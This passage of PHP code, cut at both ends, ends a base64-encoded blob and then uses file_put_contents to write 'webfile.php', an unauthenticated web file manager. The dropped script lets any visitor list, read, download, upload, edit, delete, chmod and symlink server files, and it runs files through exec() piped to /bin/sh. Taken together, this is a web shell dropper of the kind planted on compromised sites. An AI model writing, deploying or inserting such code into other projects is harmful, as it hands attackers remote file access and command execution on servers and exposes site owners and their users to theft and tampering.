IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQojZXJyb3IgdGQgeyBiYWNrZ3JvdW5kOiBtYXJvb247IGNvbG9yOiB3aGl0ZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNub3RpY2UgdGQgeyBiYWNrZ3JvdW5kOiBncmVlbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSBwcmUsICNlcnJvciBwcmUgeyBiYWNrZ3JvdW5kOiBzaWx2ZXI7IGNvbG9yOiBibGFjazsgcGFkZGluZzogMWV4OyBtYXJnaW4tbGVmdDogMWV4OyBtYXJnaW4tcmlnaHQ6IDFleCB9DQpjb2RlIHsgZm9udC1zaXplOiAxMnB0IH0NCnRkIHsgd2hpdGUtc3BhY2U6IG5vd3JhcCB9DQo8L3N0eWxlPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgew0KCWlmIChkb2N1bWVudCAmJiBkb2N1bWVudC5mb3Jtc1swXSAmJiBkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXSkgew0KCQlkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXS52YWx1ZSA9IG5hbWU7DQoJfQ0KfQ0KLy8tLT4NCjwvc2NyaXB0Pg0KDQo8L2hlYWQ+DQo8Ym9keT4NCg0KDQpFTkQ7DQoNCn0NCg0KZnVuY3Rpb24gaHRtbF9mb290ZXIgKCkgew0KDQoJZWNobyA8PDxFTkQNCjwvYm9keT4NCjwvaHRtbD4NCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBub3RpY2UgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0ibm90aWNlIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVycm9yICgkcGhyYXNlKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQoJYXJyYXlfc2hpZnQoJGFyZ3MpOw0KDQoJcmV0dXJuICc8dHIgaWQ9ImVycm9yIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCj8+DQo=';
    file_put_contents('webfile.php', "<?php\r\n\r\n\$lang = 'it';\r\n\r\n/* Charset of output:\r\n * possible values are described in the charset table at\r\n * http://www.php.net/manual/en/function.htmlentities.php\r\n * 'auto' - use the same charset as the words of my language are encoded\r\n */\r\n\$site_charset = 'auto';\r\n\r\n/* Homedir:\r\n * For example: './' - the script's directory\r\n */\r\n\$homedir = './';\r\n\r\n/* Size of the edit textarea\r\n */\r\n\$editcols = 80;\r\n\$editrows = 25;\r\n\r\n/* -------------------------------------------\r\n * Optional configuration (remove # to enable)\r\n */\r\n\r\n/* Permission of created directories:\r\n * For example: 0705 would be 'drwx---r-x'.\r\n */\r\n# \$dirpermission = 0705;\r\n\r\n/* Permission of created files:\r\n * For example: 0604 would be '-rw----r--'.\r\n */\r\n# \$filepermission = 0604;\r\n\r\n/* Filenames related to the apache web server:\r\n */\r\n\$htaccess = '.htaccess';\r\n\$htpasswd = '.htpasswd';\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nif (get_magic_quotes_gpc()) {\r\n\tarray_walk(\$_GET, 'strip');\r\n\tarray_walk(\$_POST, 'strip');\r\n\tarray_walk(\$_REQUEST, 'strip');\r\n}\r\n\r\nif (array_key_exists('image', \$_GET)) {\r\n\theader('Content-Type: image/gif');\r\n\tdie(getimage(\$_GET['image']));\r\n}\r\n\r\nif (!function_exists('lstat')) {\r\n\tfunction lstat (\$filename) {\r\n\t\treturn stat(\$filename);\r\n\t}\r\n}\r\n\r\n\$delim = DIRECTORY_SEPARATOR;\r\n\r\nif (function_exists('php_uname')) {\r\n\t\$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;\r\n} else {\r\n\t\$win = (\$delim == '\\\\') ? true : false;\r\n}\r\n\r\nif (!empty(\$_SERVER['PATH_TRANSLATED'])) {\r\n\t\$scriptdir = dirname(\$_SERVER['PATH_TRANSLATED']);\r\n} elseif (!empty(\$_SERVER['SCRIPT_FILENAME'])) {\r\n\t\$scriptdir = dirname(\$_SERVER['SCRIPT_FILENAME']);\r\n} elseif (function_exists('getcwd')) {\r\n\t\$scriptdir = getcwd();\r\n} else {\r\n\t\$scriptdir = '.';\r\n}\r\n\$homedir = relative2absolute(\$homedir, \$scriptdir);\r\n\r\n\$dir = (array_key_exists('dir', \$_REQUEST)) ? \$_REQUEST['dir'] : \$homedir;\r\n\r\nif (array_key_exists('olddir', \$_POST) && !path_is_relative(\$_POST['olddir'])) {\r\n\t\$dir = relative2absolute(\$dir, \$_POST['olddir']);\r\n}\r\n\r\n\$directory = simplify_path(addslash(\$dir));\r\n\r\n\$files = array();\r\n\$action = '';\r\nif (!empty(\$_POST['submit_all'])) {\r\n\t\$action = \$_POST['action_all'];\r\n\tfor (\$i = 0; \$i < \$_POST['num']; \$i++) {\r\n\t\tif (array_key_exists(\"checked\$i\", \$_POST) && \$_POST[\"checked\$i\"] == 'true') {\r\n\t\t\t\$files[] = \$_POST[\"file\$i\"];\r\n\t\t}\r\n\t}\r\n} elseif (!empty(\$_REQUEST['action'])) {\r\n\t\$action = \$_REQUEST['action'];\r\n\t\$files[] = relative2absolute(\$_REQUEST['file'], \$directory);\r\n} elseif (!empty(\$_POST['submit_upload']) && !empty(\$_FILES['upload']['name'])) {\r\n\t\$files[] = \$_FILES['upload'];\r\n\t\$action = 'upload';\r\n} elseif (array_key_exists('num', \$_POST)) {\r\n\tfor (\$i = 0; \$i < \$_POST['num']; \$i++) {\r\n\t\tif (array_key_exists(\"submit\$i\", \$_POST)) break;\r\n\t}\r\n\tif (\$i < \$_POST['num']) {\r\n\t\t\$action = \$_POST[\"action\$i\"];\r\n\t\t\$files[] = \$_POST[\"file\$i\"];\r\n\t}\r\n}\r\nif (empty(\$action) && (!empty(\$_POST['submit_create']) || (array_key_exists('focus', \$_POST) && \$_POST['focus'] == 'create')) && !empty(\$_POST['create_name'])) {\r\n\t\$files[] = relative2absolute(\$_POST['create_name'], \$directory);\r\n\tswitch (\$_POST['create_type']) {\r\n\tcase 'directory':\r\n\t\t\$action = 'create_directory';\r\n\t\tbreak;\r\n\tcase 'file':\r\n\t\t\$action = 'create_file';\r\n\t}\r\n}\r\nif (sizeof(\$files) == 0) \$action = ''; else \$file = reset(\$files);\r\n\r\nif (\$lang == 'auto') {\r\n\tif (array_key_exists('HTTP_ACCEPT_LANGUAGE', \$_SERVER) && strlen(\$_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {\r\n\t\t\$lang = substr(\$_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);\r\n\t} else {\r\n\t\t\$lang = 'en';\r\n\t}\r\n}\r\n\r\n\$words = getwords(\$lang);\r\n\r\nif (\$site_charset == 'auto') {\r\n\t\$site_charset = \$word_charset;\r\n}\r\n\r\n\$cols = (\$win) ? 4 : 7;\r\n\r\nif (!isset(\$dirpermission)) {\r\n\t\$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;\r\n}\r\nif (!isset(\$filepermission)) {\r\n\t\$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;\r\n}\r\n\r\nif (!empty(\$_SERVER['SCRIPT_NAME'])) {\r\n\t\$self = html(basename(\$_SERVER['SCRIPT_NAME']));\r\n} elseif (!empty(\$_SERVER['PHP_SELF'])) {\r\n\t\$self = html(basename(\$_SERVER['PHP_SELF']));\r\n} else {\r\n\t\$self = '';\r\n}\r\n\r\nif (!empty(\$_SERVER['SERVER_SOFTWARE'])) {\r\n\tif (strtolower(substr(\$_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {\r\n\t\t\$apache = true;\r\n\t} else {\r\n\t\t\$apache = false;\r\n\t}\r\n} else {\r\n\t\$apache = true;\r\n}\r\n\r\nswitch (\$action) {\r\n\r\ncase 'view':\r\n\r\n\tif (is_script(\$file)) {\r\n\r\n\t\t/* highlight_file is a mess! */\r\n\t\tob_start();\r\n\t\thighlight_file(\$file);\r\n\t\t\$src = ereg_replace('<font color=\"([^\"]*)\">', '<span style=\"color: \\1\">', ob_get_contents());\r\n\t\t\$src = str_replace(array('</font>', \"\\\r\n\", \"\\\r\n\"), array('</span>', '', ''), \$src);\r\n\t\tob_end_clean();\r\n\r\n\t\thtml_header();\r\n\t\techo '<h2 style=\"text-align: left; margin-bottom: 0\">' . html(\$file) . '</h2>\r\n\r\n<hr />\r\n\r\n<table>\r\n<tr>\r\n<td style=\"text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray\">\r\n<pre style=\"margin-top: 0\"><code>';\r\n\r\n\t\tfor (\$i = 1; \$i <= sizeof(file(\$file)); \$i++) echo \"\$i\\\r\n\";\r\n\r\n\t\techo '</code></pre>\r\n</td>\r\n<td style=\"text-align: left; vertical-align: top; padding-left: 3pt\">\r\n<pre style=\"margin-top: 0\">' . \$src . '</pre>\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t} else {\r\n\r\n\t\theader('Content-Type: ' . getmimetype(\$file));\r\n\t\theader('Content-Disposition: filename=' . basename(\$file));\r\n\r\n\t\treadfile(\$file);\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'download':\r\n\r\n\theader('Pragma: public');\r\n\theader('Expires: 0');\r\n\theader('Cache-Control: must-revalidate, post-check=0, pre-check=0');\r\n\theader('Content-Type: ' . getmimetype(\$file));\r\n\theader('Content-Disposition: attachment; filename=' . basename(\$file) . ';');\r\n\theader('Content-Length: ' . filesize(\$file));\r\n\r\n\treadfile(\$file);\r\n\r\n\tbreak;\r\n\r\ncase 'upload':\r\n\r\n\t\$dest = relative2absolute(\$file['name'], \$directory);\r\n\r\n\tif (@file_exists(\$dest)) {\r\n\t\tlisting_page(error('already_exists', \$dest));\r\n\t} elseif (@move_uploaded_file(\$file['tmp_name'], \$dest)) {\r\n\t\t@chmod(\$dest, \$filepermission);\r\n\t\tlisting_page(notice('uploaded', \$file['name']));\r\n\t} else {\r\n\t\tlisting_page(error('not_uploaded', \$file['name']));\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_directory':\r\n\r\n\tif (@file_exists(\$file)) {\r\n\t\tlisting_page(error('already_exists', \$file));\r\n\t} else {\r\n\t\t\$old = @umask(0777 & ~\$dirpermission);\r\n\t\tif (@mkdir(\$file, \$dirpermission)) {\r\n\t\t\tlisting_page(notice('created', \$file));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_created', \$file));\r\n\t\t}\r\n\t\t@umask(\$old);\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_file':\r\n\r\n\tif (@file_exists(\$file)) {\r\n\t\tlisting_page(error('already_exists', \$file));\r\n\t} else {\r\n\t\t\$old = @umask(0777 & ~\$filepermission);\r\n\t\tif (@touch(\$file)) {\r\n\t\t\tedit(\$file);\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_created', \$file));\r\n\t\t}\r\n\t\t@umask(\$old);\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'execute':\r\n\r\n\tchdir(dirname(\$file));\r\n\r\n\t\$output = array();\r\n\t\$retval = 0;\r\n\texec('echo \"./' . basename(\$file) . '\" | /bin/sh', \$output, \$retval);\r\n\r\n\t\$error = (\$retval == 0) ? false : true;\r\n\r\n\tif (sizeof(\$output) == 0) \$output = array('<' . \$words['no_output'] . '>');\r\n\r\n\tif (\$error) {\r\n\t\tlisting_page(error('not_executed', \$file, implode(\"\\\r\n\", \$output)));\r\n\t} else {\r\n\t\tlisting_page(notice('executed', \$file, implode(\"\\\r\n\", \$output)));\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'delete':\r\n\r\n\tif (!empty(\$_POST['no'])) {\r\n\t\tlisting_page();\r\n\t} elseif (!empty(\$_POST['yes'])) {\r\n\r\n\t\t\$failure = array();\r\n\t\t\$success = array();\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\tif (del(\$file)) {\r\n\t\t\t\t\$success[] = \$file;\r\n\t\t\t} else {\r\n\t\t\t\t\$failure[] = \$file;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$message = '';\r\n\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\$message = error('not_deleted', implode(\"\\\r\n\", \$failure));\r\n\t\t}\r\n\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\$message .= notice('deleted', implode(\"\\\r\n\", \$success));\r\n\t\t}\r\n\r\n\t\tlisting_page(\$message);\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\t<b>\" . word('really_delete') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t<input type=\"submit\" name=\"no\" value=\"' . word('no') . '\" id=\"red_button\" />\r\n\t<input type=\"submit\" name=\"yes\" value=\"' . word('yes') . '\" id=\"green_button\" style=\"margin-left: 50px\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'rename':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (!@file_exists(\$dest) && @rename(\$file, \$dest)) {\r\n\t\t\tlisting_page(notice('renamed', \$file, \$dest));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_renamed', \$file, \$dest));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\t\$name = basename(\$file);\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\t<input type=\"hidden\" name=\"action\" value=\"rename\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t<b>' . word('rename_file') . '</b>\r\n\t<p>' . html(\$file) . '</p>\r\n\t<b>' . substr(\$file, 0, strlen(\$file) - strlen(\$name)) . '</b>\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$name) . '\" value=\"' . html(\$name) . '\" />\r\n\t<hr />\r\n\t<input type=\"submit\" value=\"' . word('rename') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'move':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\t\$failure = array();\r\n\t\t\$success = array();\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\t\$filename = substr(\$file, strlen(\$directory));\r\n\t\t\t\$d = \$dest . \$filename;\r\n\t\t\tif (!@file_exists(\$d) && @rename(\$file, \$d)) {\r\n\t\t\t\t\$success[] = \$file;\r\n\t\t\t} else {\r\n\t\t\t\t\$failure[] = \$file;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$message = '';\r\n\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\$message = error('not_moved', implode(\"\\\r\n\", \$failure), \$dest);\r\n\t\t}\r\n\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\$message .= notice('moved', implode(\"\\\r\n\", \$success), \$dest);\r\n\t\t}\r\n\r\n\t\tlisting_page(\$message);\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\t<b>\" . word('move_files') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t' . word('destination') . ':\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"submit\" value=\"' . word('move') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'copy':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (@is_dir(\$dest)) {\r\n\r\n\t\t\t\$failure = array();\r\n\t\t\t\$success = array();\r\n\r\n\t\t\tforeach (\$files as \$file) {\r\n\t\t\t\t\$filename = substr(\$file, strlen(\$directory));\r\n\t\t\t\t\$d = addslash(\$dest) . \$filename;\r\n\t\t\t\tif (!@is_dir(\$file) && !@file_exists(\$d) && @copy(\$file, \$d)) {\r\n\t\t\t\t\t\$success[] = \$file;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\$failure[] = \$file;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\$message = '';\r\n\t\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\t\$message = error('not_copied', implode(\"\\\r\n\", \$failure), \$dest);\r\n\t\t\t}\r\n\t\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\t\$message .= notice('copied', implode(\"\\\r\n\", \$success), \$dest);\r\n\t\t\t}\r\n\r\n\t\t\tlisting_page(\$message);\r\n\r\n\t\t} else {\r\n\r\n\t\t\tif (!@file_exists(\$dest) && @copy(\$file, \$dest)) {\r\n\t\t\t\tlisting_page(notice('copied', \$file, \$dest));\r\n\t\t\t} else {\r\n\t\t\t\tlisting_page(error('not_copied', \$file, \$dest));\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\\r\n<b>\" . word('copy_files') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t' . word('destination') . ':\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"submit\" value=\"' . word('copy') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_symlink':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (substr(\$dest, -1, 1) == \$delim) \$dest .= basename(\$file);\r\n\r\n\t\tif (!empty(\$_POST['relative'])) \$file = absolute2relative(addslash(dirname(\$dest)), \$file);\r\n\r\n\t\tif (!@file_exists(\$dest) && @symlink(\$file, \$dest)) {\r\n\t\t\tlisting_page(notice('symlinked', \$file, \$dest));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_symlinked', \$file, \$dest));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\" id=\"symlink\">\r\n<tr>\r\n\t<td style=\"vertical-align: top\">' . word('destination') . ': </td>\r\n\t<td>\r\n\t\t<b>' . html(\$file) . '</b><br />\r\n\t\t<input type=\"checkbox\" name=\"relative\" value=\"yes\" id=\"checkbox_relative\" checked=\"checked\" style=\"margin-top: 1ex\" />\r\n\t\t<label for=\"checkbox_relative\">' . word('relative') . '</label>\r\n\t\t<input type=\"hidden\" name=\"action\" value=\"create_symlink\" />\r\n\t\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t</td>\r\n</tr>\r\n<tr>\r\n\t<td>' . word('symlink') . ': </td>\r\n\t<td>\r\n\t\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t\t<input type=\"submit\" value=\"' . word('create_symlink') . '\" />\r\n\t</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'edit':\r\n\r\n\tif (!empty(\$_POST['save'])) {\r\n\r\n\t\t\$content = str_replace(\"\\\r\n\\\r\n\", \"\\\r\n\", \$_POST['content']);\r\n\r\n\t\tif ((\$f = @fopen(\$file, 'w')) && @fwrite(\$f, \$content) !== false && @fclose(\$f)) {\r\n\t\t\tlisting_page(notice('saved', \$file));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_saved', \$file));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\tif (@is_readable(\$file) && @is_writable(\$file)) {\r\n\t\t\tedit(\$file);\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_edited', \$file));\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'permission':\r\n\r\n\tif (!empty(\$_POST['set'])) {\r\n\r\n\t\t\$mode = 0;\r\n\t\tif (!empty(\$_POST['ur'])) \$mode |= 0400; if (!empty(\$_POST['uw'])) \$mode |= 0200; if (!empty(\$_POST['ux'])) \$mode |= 0100;\r\n\t\tif (!empty(\$_POST['gr'])) \$mode |= 0040; if (!empty(\$_POST['gw'])) \$mode |= 0020; if (!empty(\$_POST['gx'])) \$mode |= 0010;\r\n\t\tif (!empty(\$_POST['or'])) \$mode |= 0004; if (!empty(\$_POST['ow'])) \$mode |= 0002; if (!empty(\$_POST['ox'])) \$mode |= 0001;\r\n\r\n\t\tif (@chmod(\$file, \$mode)) {\r\n\t\t\tlisting_page(notice('permission_set', \$file, decoct(\$mode)));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('permission_not_set', \$file, decoct(\$mode)));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\t\$mode = fileperms(\$file);\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\r\n\t<p style=\"margin: 0\">' . phrase('permission_for', \$file) . '</p>\r\n\r\n\t<hr />\r\n\r\n\t<table id=\"permission\">\r\n\t<tr>\r\n\t\t<td></td>\r\n\t\t<td style=\"border-right: 1px solid black\">' . word('owner') . '</td>\r\n\t\t<td style=\"border-right: 1px solid black\">' . word('group') . '</td>\r\n\t\t<td>' . word('other') . '</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('read') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"ur\" value=\"1\"'; if (\$mode & 00400) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"'; if (\$mode & 00040) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"'; if (\$mode & 00004) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('write') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"uw\" value=\"1\"'; if (\$mode & 00200) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"'; if (\$mode & 00020) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"'; if (\$mode & 00002) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('execute') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"ux\" value=\"1\"'; if (\$mode & 00100) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"'; if (\$mode & 00010) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"'; if (\$mode & 00001) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t<hr />\r\n\r\n\t<input type=\"submit\" name=\"set\" value=\"' . word('set') . '\" />\r\n\r\n\t<input type=\"hidden\" name=\"action\" value=\"permission\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ndefault:\r\n\r\n\tlisting_page();\r\n\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction getlist (\$directory) {\r\n\tglobal \$delim, \$win;\r\n\r\n\tif (\$d = @opendir(\$directory)) {\r\n\r\n\t\twhile ((\$filename = @readdir(\$d)) !== false) {\r\n\r\n\t\t\t\$path = \$directory . \$filename;\r\n\r\n\t\t\tif (\$stat = @lstat(\$path)) {\r\n\r\n\t\t\t\t\$file = array(\r\n\t\t\t\t\t'filename'    => \$filename,\r\n\t\t\t\t\t'path'        => \$path,\r\n\t\t\t\t\t'is_file'     => @is_file(\$path),\r\n\t\t\t\t\t'is_dir'      => @is_dir(\$path),\r\n\t\t\t\t\t'is_link'     => @is_link(\$path),\r\n\t\t\t\t\t'is_readable' => @is_readable(\$path),\r\n\t\t\t\t\t'is_writable' => @is_writable(\$path),\r\n\t\t\t\t\t'size'        => \$stat['size'],\r\n\t\t\t\t\t'permission'  => \$stat['mode'],\r\n\t\t\t\t\t'owner'       => \$stat['uid'],\r\n\t\t\t\t\t'group'       => \$stat['gid'],\r\n\t\t\t\t\t'mtime'       => @filemtime(\$path),\r\n\t\t\t\t\t'atime'       => @fileatime(\$path),\r\n\t\t\t\t\t'ctime'       => @filectime(\$path)\r\n\t\t\t\t);\r\n\r\n\t\t\t\tif (\$file['is_dir']) {\r\n\t\t\t\t\t\$file['is_executable'] = @file_exists(\$path . \$delim . '.');\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (!\$win) {\r\n\t\t\t\t\t\t\$file['is_executable'] = @is_executable(\$path);\r\n\t\t\t\t\t} else 